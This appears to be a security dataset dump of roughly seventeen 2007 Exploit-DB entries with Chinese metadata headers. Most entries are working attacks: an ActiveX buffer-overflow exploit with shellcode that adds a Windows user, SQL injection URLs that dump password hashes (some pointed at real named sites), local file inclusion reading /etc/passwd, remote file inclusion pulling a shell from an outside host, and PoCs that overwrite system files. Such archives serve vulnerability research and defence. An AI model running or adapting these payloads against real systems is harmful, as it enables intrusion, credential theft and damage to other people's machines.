QLWD/code_shield huggingface dataset:
标题: AMX Corp. VNC ActiveX Control - 'AmxVnc.dll 1.0.13.0' Remote Buffer Overflow EDB-ID: 4123 CVE: 2007-3536 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-28 漏洞利用脚本: <!--
21.17 23/06/2007
AMX Corp. VNC ActiveX Control (AmxVnc.dll 1.0.13.0) remote buffer
overflow exploit / tested against IE6 on xp sp2 it

found this one inside GHDB, dork by JimmyNeutron:
WebControl intitle:"AMX NetLinx"
description:   "AMX Netlinx is a server appliance which
connects various devices like a beamer, laptop or video
recorder to the internet."

passing A*2000 to Host property:

EAX 03727C20
ECX 027B7890 ASCII "AAAAAAAA...
EDX 41414141
EBX 027ACE80 AmxVnc.027ACE80
ESP 0013DDFC
EBP 0013DE28
ESI 0013E00C
EDI 00000000
EIP 0278D6D1 AmxVnc.0278D6D1
0278D6D1   FF52 04          CALL DWORD PTR DS:[EDX+4]
Access violation when reading 41414145


Password, LogFile properties are also vulnerable
to the same issue

object safety report:

RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data
IPersist Safe:  Safe for untrusted: caller,data
IPStorage Safe:  Safe for untrusted: caller,data
KillBitSet: False

translation: it works remotely without warnings

rgod
site: retrogod.altervista.org

-->
<HTML>
<object classid='clsid:6318EFFA-BE57-49EE-830C-C5E1ABD9ECCB' id='AmxVnc' ></OBJECT>
<script language='vbscript'>

'metasploit one, add a user "su" with pass "tzu"
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")
nop = string(9999999,unescape("%90"))
jmp = unescape("%ab%08%3e%7e") '0x7e3e08af user32.dll ,stores 0x07c435ff which reasonably points to our 10M nop, found with msfpescan
suntzu = String(1188, "A") + jmp + nop + scode
AmxVnc.Password = suntzu

</script>
</HTML>

# milw0rm.com [2007-06-28] URL: https://www.exploit-db.com/exploits/4123
标题: Microsoft Excel 2000/2003 - Sheet Name (PoC) EDB-ID: 4121 CVE: 2007-3490 类型: DOS 平台: WINDOWS 发布日期: 2007-06-27 漏洞利用脚本: Vuln Exposed by: ZhenHan.Liu 
Team: Ph4nt0m Security Team
http://www.ph4nt0m.org
 
Tested on: Full Patched Excel 2003 Sp2, CN

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4121.zip (06272007-2670.zip)

# milw0rm.com [2007-06-27] URL: https://www.exploit-db.com/exploits/4121
标题: Sony Network Camera SNC-P5 1.0 - ActiveX viewer Heap Overflow (PoC) EDB-ID: 4120 CVE: 2007-3488 类型: DOS 平台: WINDOWS 发布日期: 2007-06-27 漏洞利用脚本: <!--
Sony Network Camera SNC-P5 v1.0 ActiveX viewer Heap Overflow PoC

Camera info
http://bssc.sel.sony.com/BroadcastandBusiness/DisplayModel?id=79540

SNC-P5 External API documentation
http://www.tracor-europe.info/racine/sony/PROG/P5/API/Documents/SNC-P5APIDocument1.0EN.pdf

/str0ke ! milw0rm.com 
-->

<script language = 'vbscript'>
Sub tryMe()
  buff = String(15000, "A")
  viewer.PrmSetNetworkParam buff, 1
End Sub
</script>

<OBJECT CLASSID="CLSID:5CB430A9-CAAC-4C91-AF61-6D410EEE1221" id="viewer"> </OBJECT>

<input language=VBScript onclick=tryMe() type=button value="Click Me">

# milw0rm.com [2007-06-27] URL: https://www.exploit-db.com/exploits/4120
标题: QuickTalk forum 1.3 - 'lang' Local File Inclusion EDB-ID: 4115 CVE: 2007-3505 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-27 漏洞利用脚本: ###QuickTalk forum v1.3 Local File Inclusion###

#download: http://www.qt-cute.org/download/qtf13.zip

#found by: katatafish (karatatata@hush.com)

#vulncode:
 $strLang = $_GET["lang"];
 include("language/$strLang/qtf_lang_reg.inc");

#exploits:

 http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
 http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
 http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00

#thanks:str0ke

# milw0rm.com [2007-06-27] URL: https://www.exploit-db.com/exploits/4115
标题: Elkagroup Image Gallery 1.0 - SQL Injection EDB-ID: 4114 CVE: 2007-3461 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-26 漏洞利用脚本: --==+================================================================================+==--
--==+            Image Gallery 1.0 SQL Injection Vulnerbilitys                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog


SCRIPT DOWNLOAD: N/A


SITE: http://www.elkagroup.com/


DORK: intext:elkagroup  Image Gallery v1.0

DESCRIPTION: With this vuln you can display every user:hash in the database

EXPLOITS:

EXPLOIT 1: http://www.server.com/SCRIPT_PATH/property.php?cid=9&uid=0&pid=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3A,userpassword),9,10,11,12,13,14,15,16,17%20from%20users



EXAMPLES:

EXAMPLE 1: http://www.abfa-esfahan.com/gallery/property.php?cid=9&uid=0&pid=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3A,userpassword),9,10,11,12,13,14,15,16,17%20from%20users

EXAMPLE 2 (getting diffrent user): http://www.qanat.info/en/gallery/property.php?cid=0&uid=0&pid=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3A,userpassword),9,10,11,12,13,14,15,16%20from%20users%20%20where%20username%20not%20in%20(0x71616E6174696E)

NOTE/TIP: hex the first username you get with EXAMPLE 1 then use EXAMPLE 2 and replace the hex with your new hex, To get diffrent users.
Also sometimes te columns may vary so if its not working correct, add a few columns and remove a few, Enjoy.

NOTE/TIP: The md5 has 13 characters removed from the end.

Cracking Hashes: the hash this script uses is a modifed MD5 i have coded a tool for any type of md5 hash it works very well and is extremely fast while
leaveing your cpu untouched, download it here: http://www.h4cky0u-filez.org/5819352

GREETZ: str0ke, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+            Image Gallery 1.0 SQL Injection Vulnerbilitys                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-26] URL: https://www.exploit-db.com/exploits/4114
标题: b1gbb 2.24.0 - SQL Injection / Cross-Site Scripting EDB-ID: 4122 CVE: 2007-3590 2007-3589 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-28 漏洞利用脚本: # b1gbb 2.24.0 (SQL/XSS) Remote Vulnerabilities

# D.Script :
     http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip

# Exploits SQL :
     
//showthread.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concat(username,passwort),8%20FROM%20cebb_user%20%20where%20id=1/*
     OR
     
/showboard.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concat(username,passwort),8%20FROM%20cebb_user%20%20where%20id=1/*
     Demo
     
http://www.gkovacs.de/forum/showboard.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concat(username,passwort),8%20FROM%20cebb_user%20%20where%20id=1/*

# Exploit XSS :
     /visitenkarte.php?user=%22%3E%3Cscript%3Ealert(1);%3C/script%3E

# Dork:
       "powered by b1gBB (b1g Bulletion Board)"


# Discovered by:
       GoLd_M = [Mahmood_ali] & t0pP8uZz

# Homepage:
     http://www.Tryag.Com/cc

# Sp.Thanx To :
       Tryag-Team & G0t-Root.Net

# milw0rm.com [2007-06-28] URL: https://www.exploit-db.com/exploits/4122
标题: HP Digital Imaging 'hpqxml.dll 2.0.0.133' - Arbitrary Data Write EDB-ID: 4119 CVE: 2007-3487 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-27 漏洞利用脚本: :. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:
<!--
hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write
===============================================

Internal ID: VULWAR200706275.

Introduction

hpqxml.dll is a library included in the HP Photo Digital Imaging
software package from the HP Company. http://www.hp.com.
Link: http://www.hp.com/united-states/consumer/digital_photography/home_f.html

Tested In

- Windows XP SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0

Summary

The saveXMLAsFile method doesn't check if it is being called from the application
or from a malicious user.

Impact

The vulnerability is due to an error in the saveXMLAsFile method that manipulate
local files insecurely, which could allow malicious users to write arbitrary
data to any file on a vulnerable system. Besides, the method does not check the
file headers before writing.

Workaround

- Activate the Kill bit zero in clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3.
- Unregister hpqxml.dll using regsvr32.

Timeline

June 27, 2007 -- Bug discovery.
June 27, 2007 -- Bug published.

Credits

 * callAX <callax@shellcode.com.ar>
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>

Technical Detail

saveXMLAsFile method receives a filename as an argument, with this format "c:\path\file".

Proof of Concept
-->

<html>
<head>
<title>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</title>
</head>
<body>
<h3>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</h3><br>

<object classid='clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3' id='target' /></object>

<input language=VBScript onclick=HP() type=button value="Proof of Concept">

<script language = 'vbscript'>

Sub HP()

 filename = "C:\NTDETECT_.COM"

 target.saveXMLAsFile filename

End Sub

</script>
</body>
</html>

# milw0rm.com [2007-06-27] URL: https://www.exploit-db.com/exploits/4119
标题: PHPSiteBackup 0.1 - 'pcltar.lib.php' Remote File Inclusion EDB-ID: 4111 CVE: 2007-2199 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-26 漏洞利用脚本: # phpSiteBackup 0.1 (pcltar.lib.php) Remote File Include Vulnerability

# D.Script:
          
http://kent.dl.sourceforge.net/sourceforge/phpsitebackup/phpSiteBackup-0.1.tgz

# Exploit:
          
/phpSiteBackup-0.1/pcltar.lib.php?g_pcltar_lib_dir=http://localhost/tryag.txt?

# D.Vidoe:
          http://my-story.org/uploads/phpSiteBackup.rar

# Discovered by:
          GoLd_M = [Mahmood_ali]

# Homepage:
          http://www.Tryag.Com/cc

# Greetz To:
          Tryag-Team & AsbMay's Group & Crackers_Child & Rf7awy & t0pP8uZz   :D

# milw0rm.com [2007-06-26] URL: https://www.exploit-db.com/exploits/4111
标题: Pagetool 1.07 - 'news_id' SQL Injection EDB-ID: 4107 CVE: 2007-3402 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-25 漏洞利用脚本: ###pagetool-1.07 Remote SQL Injection###
#
#download:http://kent.dl.sourceforge.net/sourceforge/pagetool/pagetool-1.07.tar.gz
#
#Found by: Katatafish (karatatata@hush.com)
#
#Dork: "powered by Pagetool"
#
#Thanks: str0ke
#
########################################

#PoC
http://www.site.com/[path]/index.php?name=pagetool_news&news_id=-1/**/union/**/all/**/select/**/null,/**/null,/**/CONCAT(0x557365726E346D653A20,/**/username),/**/CONCAT(0x50617373773072643A20,/**/passwd),/**/null/**/from/**/pt_core_users/**/where/**/user_id=1

# milw0rm.com [2007-06-25] URL: https://www.exploit-db.com/exploits/4107
标题: QuickTicket 1.2 - 'qti_checkname.php' Local File Inclusion EDB-ID: 4116 CVE: 2007-3547 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-27 漏洞利用脚本: ###QuickTicket v1.2 Local File Inclusion###

#download: http://www.qt-cute.org/download/qti12.zip

#found by: katatafish (karatatata@hush.com)

#vulncode:
 $strLang = $_GET["lang"];
 include("language/$strLang/qtf_lang_reg.inc");

#exploit:
 http://www.site.com/[path]/qti_checkname.php?lang=./../../../../../../../../../../etc/passwd%00

#thanks:str0ke

# milw0rm.com [2007-06-27] URL: https://www.exploit-db.com/exploits/4116
标题: Avax Vector 'Avaxswf.dll' 1.0.0.1 - ActiveX Arbitrary Data Write EDB-ID: 4110 CVE: 2007-3459 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-26 漏洞利用脚本: :. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary Data Write
============================================================================

Internal ID: VULWAR200706264.

Introduction
------------
Avaxswf.dll is a library included in the Avax Vector ActiveX v.1.3 software
package from the Company Civitech. 
( http://business.hol.gr/gardos/index.htm )
Such package include ActiveX control (OCX) that includes over 500 properties,
methods, and events to provide full control over vector drawings.
One of the Avaxswf.dll exported methods is vulnerable to Data write arbitrary 
in a remote computer.


Tested In
---------
- Windows XP SP2 english/french with IE 6.0 / 7.0.
- windows vista Professional SP1 with IE 7.0.


Summary
-------
The WriteMovie method doesn't check if it is being called from the application
or from a malicious user.


Impact
------
The vulnerability is due to an error in WriteMovie method that manipulate
local files insecurely, which could allow malicious users to write arbitrary
data to any file on a vulnerable system.


Workaround
----------
- Activate the Kill bit zero in clsid:0DD77391-686B-11D4-B367-D4475FDFF33A.
- Unregister Avaxswf.dll using regsvr32.


Timeline
--------
June 26, 2007 -- Bug discovery.
June 26, 2007 -- Bug published.


Credits
-------
 * callAX <callax@shellcode.com.ar>
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>



Technical Detail
----------------
WriteMovie method receives one argument filename in this format "c:\path\file".

POC
---

<object classid='clsid:0DD77391-686B-11D4-B367-D4475FDFF33A' id='wRit3'></object>
<input language=VBScript onclick=Boom() type=button value="Write">

<script language = 'vbscript'>

sub Boom() 

   f1l3 = "C:\WINDOWS\system32\drivers\hackme.sys"

   wRit3.WriteMovie f1l3

 End Sub

</script>

# milw0rm.com [2007-06-26] URL: https://www.exploit-db.com/exploits/4110
标题: EVA-Web 1.1 < 2.2 - 'index.php3' Remote File Inclusion EDB-ID: 4112 CVE: 2007-3460 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-26 漏洞利用脚本: ###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#Program Title ################################################################################
#EVA-Web 1.1<=2.2 Remote File Inclusion
#
#Note #######################################################################################
#A patch was released some time ago..but there was never an exploit released..
#
#Script Download ##############################################################################
#http://spip-edu.edres74.net
#
#d0rk ######################################################################################
#"et utilise le squelette EVA-Web" -3.0 -2.3
#
#Spl0it #########################################################################################
#www.victim.com/[path to webapp]/eva/index.php3?aide=http://www.ursite.com/shell.txt?
#www.victim.com/[path to webapp]/eva/index.php3?perso=http://www.ursite.com/shell.txt?
#
#vuln discovered by ###############################################################################
#MurderSkillz
#
#shoutz: z3r0, milf, godxcel, clorox, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
#fish, rey, canuck, ,vipsta, c0ma, grumpy, err0r, sick, trintitty, asdfhacks.com , a59, freeillwill.com, fury,
#<S>, Bernard, and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-06-26] URL: https://www.exploit-db.com/exploits/4112
标题: RealNetworks RealPlayer/HelixPlayer - SMIL wallclock Stack Overflow (PoC) EDB-ID: 4118 CVE: 2007-3410 类型: DOS 平台: WINDOWS 发布日期: 2007-06-27 漏洞利用脚本: <!--
author: axis
site:   http://www.ph4nt0m.org
-->

<smil xmlns="http://www.w3.org/2000/SMIL20/CR/Language">
  <body>
    <par>
      <img src="./1.jpg" begin="wallclock(12:00:00.999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999+9)" dur="5s"/>
    </par>
  </body>
</smil>

# milw0rm.com [2007-06-27] URL: https://www.exploit-db.com/exploits/4118
标题: eDocStore - 'doc.php?doc_id' SQL Injection EDB-ID: 4108 CVE: 2007-3452 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-25 漏洞利用脚本: --==+================================================================================+==--
--==+            eDocStore Latest Versions Local File Inclusion Vulnerbilitys        +==--
--==+================================================================================+==--


AUTHOR: t0pP8uZz & xprog (good work xprog)

SCRIPT DOWNLOAD: N/A

SITE: http://www.edocstore.co.uk

DORK: intext:"Powered by eDocStore"


EXPLOITS:

EXPLOIT 1: http://www.server.com/essentials/minutes/doc.php?action=inline&doc_id=-1%20UNION%20ALL%20SELECT%200x2E2E2F696E6465782E706870,0x746578742F706C61696E,null,null,null,null,null


EXAMPLES:

EXAMPLE 1: http://www.nwal.org/essentials/minutes/doc.php?action=inline&doc_id=-1%20UNION%20ALL%20SELECT%200x2E2E2F696E6465782E706870,0x746578742F706C61696E,null,null,null,null,null

Note/Tip: The filename for the incluson has got to be hexed before you can include it.
Its only required to replace the first hex value before the ","

GREETZ: h4cky0u.org, G0t-Root.Net

FROM GM: Kw3[R]ln Get over it!

--==+================================================================================+==--
--==+            eDocStore Latest Versions Local File Inclusion Vulnerbilitys        +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-25] URL: https://www.exploit-db.com/exploits/4108
标题: NCTAudioStudio2 - ActiveX DLL 2.6.1.148 'CreateFile()'/ Insecure Method EDB-ID: 4109 CVE: 2007-3493 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-26 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------
 <b>NCTAudioStudio2 ActiveX DLL (NCTWavChunksEditor2.dll v. 2.6.1.148) "CreateFile()"Insecure Method</b>
 url: http://www.nctsoft.com/products/NCTAudioEditor2/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx (for example Sienzo DMM) are vulnerable to this exploits.
--------------------------------------------------------------------------------------------------

<object classid='clsid:A77849B6-6125-4466-88DC-4855C014A0C4' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.CreateFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"NCTAudioStudio2")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "NCTAudioStudio2")
   End If 
 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-26] URL: https://www.exploit-db.com/exploits/4109
标题: 6ALBlog - 'newsid' SQL Injection EDB-ID: 4104 CVE: 2007-3451 2007-3450 2007-3449 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-25 漏洞利用脚本: +______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Portal.......:        6ALBlog All Versions
*    [~] Download.....:    http://down.otand.com/download/code/php/blog/6alblog.rar
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote SQL Injection and Remote File Ä°nclude Vulnerability
*    [~] Dork.........:        inurl:"member.php?page=comments
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*       [~] Exploit Sql...:                    http://[Taget]/[Path]/member.php?page=comments&member=MEMBERNAME&newsid=-1%20union%20select%200,1,user,3,4,5,6,7%20from%20blog_users/*
*                               http://[Taget]/[Path]/member.php?page=comments&member=MEMBERNAME&newsid=-1%20union%20select%200,1,pass,3,4,5,6,7%20from%20blog_users/*
*
*
*       [~] Exploit Rfi...:     After Cracked md5 admin you must login site.com/admin/  than our rfi can  work
*
*                               http://[Taget]/[Path]/admin/index.php?pg=Sh3ll?
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......:Brothas You must change MemberName on exploit , when you look index.php you will see members and you can choose anyone
                       and you can write it on exploit "MEMBERNAME" area ;)



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Sp Tnx.......:    str0ke, BiyoSecurity.Net, TurkProtest, Tryag.com/cc/(Mahmood_ali),Dj7xpl,Dosyacek.com And All Friends
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-06-25] URL: https://www.exploit-db.com/exploits/4104